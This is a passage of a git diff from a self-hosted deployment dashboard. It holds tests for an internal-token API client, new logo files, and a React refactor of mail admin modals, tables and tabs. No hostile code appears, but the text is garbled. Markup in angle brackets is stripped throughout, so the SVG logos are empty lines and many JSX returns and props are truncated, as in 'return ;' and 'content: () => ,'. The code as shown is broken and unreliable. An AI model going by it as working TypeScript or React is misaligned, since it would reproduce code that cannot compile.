· a candidate the running API refuses → the NEXT candidate is tried (a box that ran + * bare before compose holds both); + * · every candidate refused → the 401 comes back, reported as "the API is + * running with a different token", not as a + * permissions or credentials error. + */ + +const h = vi.hoisted(() => ({ + tokens: [] as string[], + problem: "no internal token on this machine", + rejected: "the API rejected this machine's internal token", +})); + +vi.mock("../../src/lib/internal-token", () => ({ + internalTokenSources: () => ({ tokens: h.tokens, problems: [] }), + internalTokenProblem: () => h.problem, + internalTokenRejectedProblem: () => h.rejected, + resolveInternalToken: () => h.tokens[0] ?? null, + mintBareInternalToken: () => { + throw new Error("a reader must never mint"); + }, +})); + +import { internalFetch, internalGet, internalPost } from "../../src/lib/loopback-api"; +import { stubFetch, type FetchStub } from "../helpers/harness"; + +let fetchStub: FetchStub | undefined; + +beforeEach(() => { + h.tokens = ["only-token"]; +}); +afterEach(() => { + fetchStub?.restore(); + fetchStub = undefined; +}); + +const sentTokens = () => fetchStub!.calls.map((c) => c.headers["x-internal-token"]); + +describe("internalFetch", () => { + it("sends the resolved token and returns the response", async () => { + fetchStub = stubFetch(() => ({ status: 200, json: { ok: true } })); + + const call = await internalFetch("4000", "/api/system/health"); + expect(call.kind).toBe("response"); + expect(sentTokens()).toEqual(["only-token"]); + expect(fetchStub.calls[0]!.url).toBe("http://127.0.0.1:4000/api/system/health"); + }); + + it("retries the next candidate when the API refuses the first", async () => { + h.tokens = ["stale-bare", "live-compose"]; + fetchStub = stubFetch((req) => + req.headers["x-internal-token"] === "live-compose" + ? { status: 200, json: { ok: true, email: "a@b.com" } } + : { status: 401, json: { error: "Unauthorized" } }, + ); + + const res = await internalPost("4000", "/api/system/reset-admin-password", { password: "x" }); + expect(res.ok).toBe(true); + expect(res.data.email).toBe("a@b.com"); + expect(sentTokens()).toEqual(["stale-bare", "live-compose"]); + }); + + it("stops after every candidate is refused and explains the 401", async () => { + h.tokens = ["one", "two"]; + fetchStub = stubFetch(() => ({ status: 401, json: { error: "Unauthorized" } })); + + const res = await internalPost("4000", "/api/system/reset-admin-password", { password: "x" }); + expect(res.ok).toBe(false); + // Not the API's bare "Unauthorized" — the operator needs to know the process is + // running with a different token than the one on disk. + expect(res.data.error).toBe(h.rejected); + expect(sentTokens()).toEqual(["one", "two"]); + }); + + it("passes a HANDLER's 401 straight through — no retry, no rewording", async () => { + // /cloud-connect answers 401 AFTER exchanging a single-use PKCE code. Retrying it + // with the next token would burn the code, and "the API rejected your token" would + // blame the wrong thing entirely. Only internalAuth's own `{"error":"Unauthorized"}` + // is a token rejection. + h.tokens = ["first", "second"]; + fetchStub = stubFetch(() => ({ status: 401, json: { error: "Could not verify with Openship Cloud" } })); + + const res = await internalPost("4000", "/api/system/cloud-connect", { code: "abc" }); + expect(res.ok).toBe(false); + expect(res.data.error).toBe("Could not verify with Openship Cloud"); + expect(sentTokens()).toEqual(["first"]); + }); + + it("hands back a streaming response without reading it", async () => { + // The self-register SSE reader consumes res.body itself; buffering it here to + // classify the status would stall the wizard until provisioning ended. + fetchStub = stubFetch( + () => new Response("event: log\ndata: {}\n\n", { status: 200, headers: { "Content-Type": "text/event-stream" } }), + ); + + const call = await internalFetch("4000", "/api/system/self-register/stream?id=1"); + expect(call.kind).toBe("response"); + if (call.kind !== "response") return; + expect(call.res.bodyUsed).toBe(false); + expect(call.res.body).not.toBeNull(); + }); + + it("keeps a caller-supplied token exactly as given (no retry, no resolution)", async () => { + // `openship up`'s compose provisioning holds the token it just wrote; second-guessing + // it would authenticate against the wrong api on a box with two installs. + h.tokens = ["resolved"]; + fetchStub = stubFetch(() => ({ status: 401, json: { error: "Unauthorized" } })); + + const res = await internalPost("4000", "/api/system/self-register", {}, "explicit"); + expect(res.ok).toBe(false); + expect(sentTokens()).toEqual(["explicit"]); + // The rejection hint is about tokens WE resolved, so an explicit one passes through. + expect(res.data.error).toBe("Unauthorized"); + }); + + it("makes NO request when there is no token, and says which store failed", async () => { + h.tokens = []; + h.problem = `can't read /root/.openship/compose/.env (EACCES) — re-run with sudo`; + fetchStub = stubFetch(() => ({ status: 200, json: { ok: true } })); + + const call = await internalFetch("4000", "/api/system/health"); + expect(call).toEqual({ kind: "no-token", detail: h.problem }); + // Inventing a token to send would be a 401 that hides a permissions problem. + expect(fetchStub.calls).toHaveLength(0); + + const res = await internalPost("4000", "/api/system/reset-admin-password", { password: "x" }); + expect(res).toEqual({ ok: false, data: { error: h.problem } }); + }); + + it("separates an unreachable API from a refused one", async () => { + fetchStub = stubFetch(() => { + throw new Error("connect ECONNREFUSED 127.0.0.1:4000"); + }); + + const call = await internalFetch("4000", "/api/system/health"); + expect(call.kind).toBe("unreachable"); + expect(await internalGet("4000", "/api/system/health")).toBeNull(); + }); + + it("returns null from internalGet on a non-ok response", async () => { + fetchStub = stubFetch(() => ({ status: 500, json: { error: "boom" } })); + expect(await internalGet("4000", "/api/system/health")).toBeNull(); + }); +}); diff --git a/apps/dashboard/public/app-logos/clickhouse.svg b/apps/dashboard/public/app-logos/clickhouse.svg new file mode 100644 index 000000000..295a5f56c --- /dev/null +++ b/apps/dashboard/public/app-logos/clickhouse.svg @@ -0,0 +1,11 @@ + + + + + diff --git a/apps/dashboard/public/app-logos/code-server.svg b/apps/dashboard/public/app-logos/code-server.svg new file mode 100644 index 000000000..ed43e08c6 --- /dev/null +++ b/apps/dashboard/public/app-logos/code-server.svg @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/apps/dashboard/public/app-logos/it-tools.png b/apps/dashboard/public/app-logos/it-tools.png new file mode 100644 index 000000000..bef317bfd Binary files /dev/null and b/apps/dashboard/public/app-logos/it-tools.png differ diff --git a/apps/dashboard/public/app-logos/nocodb.svg b/apps/dashboard/public/app-logos/nocodb.svg new file mode 100644 index 000000000..7d1894155 --- /dev/null +++ b/apps/dashboard/public/app-logos/nocodb.svg @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/apps/dashboard/public/app-logos/stirling-pdf.svg b/apps/dashboard/public/app-logos/stirling-pdf.svg new file mode 100644 index 000000000..b63cc1309 --- /dev/null +++ b/apps/dashboard/public/app-logos/stirling-pdf.svg @@ -0,0 +1,9 @@ + + + + + + diff --git a/apps/dashboard/src/app/(dashboard)/(deployment)/deploy/[slug]/components/DeployTargetStep.tsx b/apps/dashboard/src/app/(dashboard)/(deployment)/deploy/[slug]/components/DeployTargetStep.tsx index 644224866..b1bb5cc4e 100644 --- a/apps/dashboard/src/app/(dashboard)/(deployment)/deploy/[slug]/components/DeployTargetStep.tsx +++ b/apps/dashboard/src/app/(dashboard)/(deployment)/deploy/[slug]/components/DeployTargetStep.tsx @@ -1432,6 +1432,27 @@ const DeployTargetStep: React.FC = ({ targets, onContinue ? (selectedServer.name || selectedServer.sshHost) : null; + // Publish that resolved name into the config, so the screens AFTER this step can + // name the machine too. Every place that picks a server (auto-seed, last-used, + // preferred, an explicit pick here, the sidebar's) sets only `serverId` — the id is + // the truth and the name is derived from it — so the progress screens had nothing + // but the bare word "Server" to show. Derived HERE, the one place holding both the + // id and the servers list, rather than appended to each of those call sites: that + // list only grows, and the next one added would forget. + useEffect(() => { + if (config.deployTarget !== "server") { + // Not a server deploy: a name left over from a previous pick would outlive the + // target it described. + if (config.serverName !== undefined) updateConfig({ serverName: undefined }); + return; + } + // No resolution yet (list still loading, or an id we don't have a row for) is not + // evidence of "no name" — clearing here would wipe the one a saved project + // restored before this step's fetch landed. + if (!summaryServerName) return; + if (summaryServerName !== config.serverName) updateConfig({ serverName: summaryServerName }); + }, [config.deployTarget, config.serverName, summaryServerName, updateConfig]); + // What this step actually PICKED, in the vocabulary both memories below use: a // binding, or nothing. `config.deployTarget` can also be "local", which is not a // pick — it's what an unbound project derives — so neither the cross-device diff --git a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/SendTestMailModal.tsx b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/SendTestMailModal.tsx index a31cc0c92..182e575c4 100644 --- a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/SendTestMailModal.tsx +++ b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/SendTestMailModal.tsx @@ -1,7 +1,7 @@ "use client"; /** - * Send Test Mail modal - standalone overlay (open / onClose driven). + * Send Test Mail modal. * * Loads the list of provisioned domains for the given mail server, lets the * operator pick which domain to send AS, and POSTs to @@ -12,13 +12,13 @@ * are hardcoded server-side; this form only collects recipient + sender * domain. * - * Visual model: matches `welcome-modal.tsx` (fixed-position overlay with - * its own backdrop) since the prop contract is open/onClose rather than - * the `useModal`-driven `customContent` pattern used by the tab forms. + * Rendered through the dashboard's shared modal host (useModal → ui/Modal) so + * it has the same shell, scrim and stacking as every other modal; the form body + * is the same FormModalContent scaffold the admin tabs use. */ -import { useEffect, useRef, useState } from "react"; -import { Loader2, X, CheckCircle2, ExternalLink } from "lucide-react"; +import { useEffect, useState } from "react"; +import { CheckCircle2, ExternalLink } from "lucide-react"; import { getApiErrorMessage, mailAdminApi, @@ -26,6 +26,9 @@ import { } from "@/lib/api"; import { useToast } from "@/context/ToastContext"; import { useI18n } from "@/components/i18n-provider"; +import { CustomSelect } from "@/components/ui/CustomSelect"; +import { Field, FormModalContent, inputClassName } from "./_shared/form-modal-content"; +import { useHostedModal } from "./_shared/hosted-modal"; interface Props { open: boolean; @@ -95,44 +98,35 @@ interface SendResult { } export function SendTestMailModal({ open, onClose, serverId }: Props) { + useHostedModal({ + open, + onClose, + maxWidth: "520px", + content: () => , + }); + return null; +} + +function SendTestMailContent({ + serverId, + onClose, +}: { + serverId: string; + onClose: () => void; +}) { const [recipient, setRecipient] = useState(""); const [senderDomain, setSenderDomain] = useState(""); const [domains, setDomains] = useState([]); - const [loadingDomains, setLoadingDomains] = useState(false); - const [sending, setSending] = useState(false); - const [error, setError] = useState(null); + const [loadingDomains, setLoadingDomains] = useState(true); + const [loadError, setLoadError] = useState(null); const [result, setResult] = useState(null); - const inputRef = useRef(null); const { showToast } = useToast(); const { t } = useI18n(); + const s = t.emailsAdmin.sendTest; - // Lock body scroll while open. + // Active domains only — the test would fail at SMTP auth otherwise. useEffect(() => { - if (!open) return; - const prev = document.body.style.overflow; - document.body.style.overflow = "hidden"; - return () => { - document.body.style.overflow = prev; - }; - }, [open]); - - // Reset state every time the modal opens. - useEffect(() => { - if (!open) return; - setRecipient(""); - setSenderDomain(""); - setError(null); - setResult(null); - setSending(false); - }, [open]); - - // Fetch domains when the modal opens. Active domains only — the test would - // fail at SMTP auth otherwise. - useEffect(() => { - if (!open) return; let cancelled = false; - setLoadingDomains(true); - setError(null); mailAdminApi.domains .list(serverId) .then((res) => { @@ -147,7 +141,7 @@ export function SendTestMailModal({ open, onClose, serverId }: Props) { }) .catch((err) => { if (cancelled) return; - setError(getApiErrorMessage(err, t.emailsAdmin.sendTest.loadDomainsFailed)); + setLoadError(getApiErrorMessage(err, s.loadDomainsFailed)); }) .finally(() => { if (!cancelled) setLoadingDomains(false); @@ -155,173 +149,73 @@ export function SendTestMailModal({ open, onClose, serverId }: Props) { return () => { cancelled = true; }; - }, [open, serverId]); + }, [serverId, s.loadDomainsFailed]); - // Autofocus the recipient input once the modal renders, mirroring - // welcome-modal. - useEffect(() => { - if (!open || result) return; - const id = window.setTimeout(() => inputRef.current?.focus(), 100); - return () => window.clearTimeout(id); - }, [open, result]); + if (result) return ; const trimmedRecipient = recipient.trim().toLowerCase(); - const recipientValid = EMAIL_RE.test(trimmedRecipient); - const canSubmit = - !sending && recipientValid && senderDomain.length > 0 && !loadingDomains; + const ready = + EMAIL_RE.test(trimmedRecipient) && senderDomain.length > 0 && !loadingDomains; - const handleSubmit = async (e: React.FormEvent) => { - e.preventDefault(); - if (!canSubmit) return; - setError(null); - setSending(true); - try { - const res = await mailAdminApi.testEmail.send( - serverId, - trimmedRecipient, - senderDomain, - ); - setResult(res); - showToast( - t.emailsAdmin.sendTest.sentToast, - "success", - t.emailsAdmin.sendTest.toastTitle, - ); - } catch (err) { - const message = getApiErrorMessage(err, t.emailsAdmin.sendTest.sendFailed); - setError(message); - showToast(message, "error", t.emailsAdmin.sendTest.toastTitle); - } finally { - setSending(false); - } + const submit = async () => { + const res = await mailAdminApi.testEmail.send( + serverId, + trimmedRecipient, + senderDomain, + ); + setResult(res); + showToast(s.sentToast, "success", s.toastTitle); }; - if (!open) return null; - return ( -
{ - if (e.target === e.currentTarget && !sending) onClose(); - }} + -
- - - {result ? ( - - ) : ( -
-
-

- {t.emailsAdmin.sendTest.title} -

-

- {t.emailsAdmin.sendTest.sendsFromBefore} - - openship@{senderDomain || "…"} - - {t.emailsAdmin.sendTest.sendsFromAfter} -

-
- -
- -
-
- - { - setRecipient(e.target.value); - if (error) setError(null); - }} - placeholder="you@example.com" - disabled={sending} - autoComplete="email" - spellCheck={false} - className="w-full px-3 py-2.5 rounded-lg border border-border bg-background text-[14px] text-foreground placeholder:text-muted-foreground/60 focus:outline-none focus:ring-2 focus:ring-foreground/20 focus:border-foreground/40 transition-colors disabled:opacity-60" - /> -
+

+ {s.sendsFromBefore} + + openship@{senderDomain || "…"} + + {s.sendsFromAfter} +

-
- - -

- {t.emailsAdmin.sendTest.fromHint} -

-
+ + setRecipient(e.target.value)} + placeholder="you@example.com" + autoComplete="email" + spellCheck={false} + className={inputClassName} + /> + - {error && ( -
- {error} -
- )} + + ({ value: d.domain, label: d.domain }))} + onChange={setSenderDomain} + disabled={loadingDomains || domains.length === 0} + placeholder={loadingDomains ? s.loadingDomains : s.noActiveDomains} + /> + -
- - -
-
- - )} -
-
+ {/* The domain fetch failed, so there is nothing to authenticate as — said + here rather than through FormModalContent, whose error slot only holds + what the submit itself threw. */} + {loadError && ( +
+ {loadError} +
+ )} + ); } @@ -333,62 +227,51 @@ function SentStage({ onClose: () => void; }) { const { t } = useI18n(); + const s = t.emailsAdmin.sendTest; + const inbox = recipientInboxLink(result.to); return ( -
-
-
-
- -
-
-

- {t.emailsAdmin.sendTest.sentTitle} -

-

- {t.emailsAdmin.sendTest.sentCheckBefore} - - {result.to} - - {t.emailsAdmin.sendTest.sentCheckMiddle} - - {result.from} - - {t.emailsAdmin.sendTest.sentCheckAfter} -

-

- {result.smtpResponse} -

-
+
+
+
+ +
+
+

{s.sentTitle}

+

+ {s.sentCheckBefore} + + {result.to} + + {s.sentCheckMiddle} + + {result.from} + + {s.sentCheckAfter} +

+

+ {result.smtpResponse} +

-
- -
- {(() => { - const inbox = recipientInboxLink(result.to); - if (!inbox) return null; - return ( - - - {t.emailsAdmin.sendTest[inbox.labelKey]} - - ); - })()} +
+ {inbox && ( + + + {s[inbox.labelKey]} + + )}
diff --git a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.render.test.tsx b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.render.test.tsx new file mode 100644 index 000000000..8f34b352d --- /dev/null +++ b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.render.test.tsx @@ -0,0 +1,72 @@ +// No DOM needed: renderToStaticMarkup runs no effects and both primitives are pure. +import { describe, expect, it } from "vitest"; +import { renderToStaticMarkup } from "react-dom/server"; +import { Trash2 } from "lucide-react"; +import { DataTable, RowActionsMenu, type DataTableColumn } from "./data-table"; +import { StatusPill } from "./status-pill"; + +interface Row { + id: string; + name: string; +} + +const columns: DataTableColumn[] = [ + { key: "name", header: "Mailbox", width: "1fr", cell: (r) => r.name }, +]; + +const rows: Row[] = [ + { id: "a", name: "hydra@oblien.com" }, + { id: "b", name: "security@oblien.com" }, +]; + +function renderTable() { + return renderToStaticMarkup( + r.id} + rowActions={(r) => ( + , + variant: "danger", + onClick: () => {}, + }, + ]} + /> + )} + />, + ); +} + +describe("DataTable row actions", () => { + it("puts every row action behind one ⋯ trigger, closed at rest", () => { + const html = renderTable(); + expect(html).toContain('aria-label="Actions for hydra@oblien.com"'); + expect(html).toContain('aria-expanded="false"'); + // The destructive action must not be reachable without opening the menu. + expect(html).not.toContain(">Delete<"); + }); + + it("does not clip the menu: the card carries no overflow-hidden", () => { + // DropdownMenu renders its panel in-flow, so overflow-hidden here would make + // the LAST row's menu invisible — layout-only, which no DOM assertion sees. + // Guard the class instead. + expect(renderTable()).not.toContain("overflow-hidden"); + }); +}); + +describe("StatusPill", () => { + it("is a tinted fill with no outline and no leading dot", () => { + const html = renderToStaticMarkup(Active); + expect(html).toContain("bg-success-bg"); + expect(html).toContain("text-success"); + expect(html).not.toContain("border"); + // A dot would be an empty rounded-full span before the label. + expect(html).not.toContain("rounded-full bg-success-solid"); + }); +}); diff --git a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.tsx b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.tsx index f06dfacd0..d8bd0f1b7 100644 --- a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.tsx +++ b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/data-table.tsx @@ -19,6 +19,7 @@ import { cn } from "@/lib/utils"; import type { LucideIcon } from "lucide-react"; +import DropdownMenu, { type MenuAction } from "@/components/ui/DropdownMenu"; import { Skeleton } from "./skeleton"; export interface DataTableColumn { @@ -40,9 +41,9 @@ interface DataTableProps { loading?: boolean; /** Number of skeleton rows to show during loading. */ skeletonRows?: number; - /** Right-side actions column (Edit / Delete buttons). */ + /** Right-side actions column — a single `RowActionsMenu` per row. */ rowActions?: (row: T) => React.ReactNode; - /** Width of the actions column. Default 96px. */ + /** Width of the actions column. Default 56px (one ⋯ trigger). */ rowActionsWidth?: string; /** Click handler for a whole row - turns the row into a button. */ onRowClick?: (row: T) => void; @@ -62,7 +63,7 @@ export function DataTable({ loading, skeletonRows = 5, rowActions, - rowActionsWidth = "96px", + rowActionsWidth = "56px", onRowClick, empty, }: DataTableProps) { @@ -73,10 +74,14 @@ export function DataTable({ } return ( -
- {/* Header row */} + // No overflow-hidden: a row's ⋯ menu renders in-flow, so it would be + // clipped on the last row. Corners come from the header + last row instead. +
+ {/* Header row. A hairline and quieter labels, no grey fill strip: the + dashboard's other lists head their cards this way, and the filled bar + read as a second surface stacked on the card. */}
@@ -84,7 +89,7 @@ export function DataTable({
({
{/* Body */} -
+
{loading ? Array.from({ length: skeletonRows }).map((_, i) => ( ({ role="row" onClick={interactive ? () => onRowClick(row) : undefined} className={cn( - "grid items-center gap-4 px-5 py-3.5 transition-colors", - interactive && "cursor-pointer hover:bg-muted/30", + "grid items-center gap-4 px-5 py-4 transition-colors last:rounded-b-2xl", + interactive && "cursor-pointer hover:bg-foreground/[0.03]", )} style={{ gridTemplateColumns: gridTemplate }} > @@ -237,47 +242,26 @@ function DataTableEmpty({ ); } -// ─── Action button - reused by every row that needs Edit / Delete ──────────── +// ─── Row actions - one ⋯ menu per row ─────────────────────────────────────── -interface RowIconButtonProps { - icon: LucideIcon; - label: string; - onClick: () => void; - variant?: "default" | "danger"; - disabled?: boolean; -} - -export function RowIconButton({ - icon: Icon, - label, - onClick, - variant = "default", - disabled, -}: RowIconButtonProps) { - const variantCls = - variant === "danger" - ? "hover:text-danger hover:bg-danger-bg" - : "hover:text-foreground hover:bg-muted/50"; +/** + * Every row action lives behind this menu, destructive ones included: a bare + * trash icon parked at the row's edge sits one stray click away from the row's + * own action, and it advertises deletion as the primary thing a row offers. + */ +export function RowActionsMenu({ label, actions }: { label: string; actions: MenuAction[] }) { return ( - + ); } +export type { MenuAction }; + // ─── Helpers ───────────────────────────────────────────────────────────────── function useGridTemplate( diff --git a/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/domain-picker.tsx b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/domain-picker.tsx new file mode 100644 index 000000000..fcb4429c2 --- /dev/null +++ b/apps/dashboard/src/app/(dashboard)/emails/_components/admin/_shared/domain-picker.tsx @@ -0,0 +1,53 @@ +"use client"; + +/** + * "Domain: " toolbar shared by every domain-scoped tab (Mailboxes, + * Aliases, DNS). One component so the three cannot drift, and so all three use + * the dashboard's own CustomSelect rather than a native onSelectDomain(e.target.value)} - className="px-3 py-2 text-sm rounded-xl border border-border bg-background text-foreground focus:outline-none focus:ring-2 focus:ring-primary/40 transition-colors min-w-[200px]" - > - {domains.map((d) => ( - - ))} - - )} + d.domain)} + onChange={onSelectDomain} + loading={loadingDomains} + loadingLabel={t.emailsAdmin.aliases.loading} + > {!loadingAliases && aliases.length > 0 && ( {interpolate(t.emailsAdmin.aliases.activeCount, { @@ -256,7 +247,7 @@ export function AliasesTab({ })} )} -
+ {error && (
@@ -270,19 +261,27 @@ export function AliasesTab({ rowKey={(r) => String(r.id)} loading={loadingAliases} rowActions={(row) => ( - <> - void toggleActive(row)} - /> - openDelete(row)} - /> - + , + onClick: () => void toggleActive(row), + }, + { id: "sep", divider: true }, + { + id: "delete", + label: t.emailsAdmin.aliases.deleteAction, + icon: , + variant: "danger", + onClick: () => openDelete(row), + }, + ]} + /> )} empty={{ icon: Forward, @@ -360,17 +359,11 @@ function CreateAliasForm({ disabled={!canSubmit} > - + options={domains.map((d) => ({ value: d.domain, label: d.domain }))} + onChange={setDomain} + />
- + options={destinations.map((d) => ({ value: d.id, label: d.name }))} + onChange={setDestinationId} + />
-
{schedule.frequency !== "manual" && ( @@ -379,44 +368,34 @@ export function BackupTab({ serverId, domain }: { serverId: string; domain: stri {schedule.frequency === "weekly" && ( -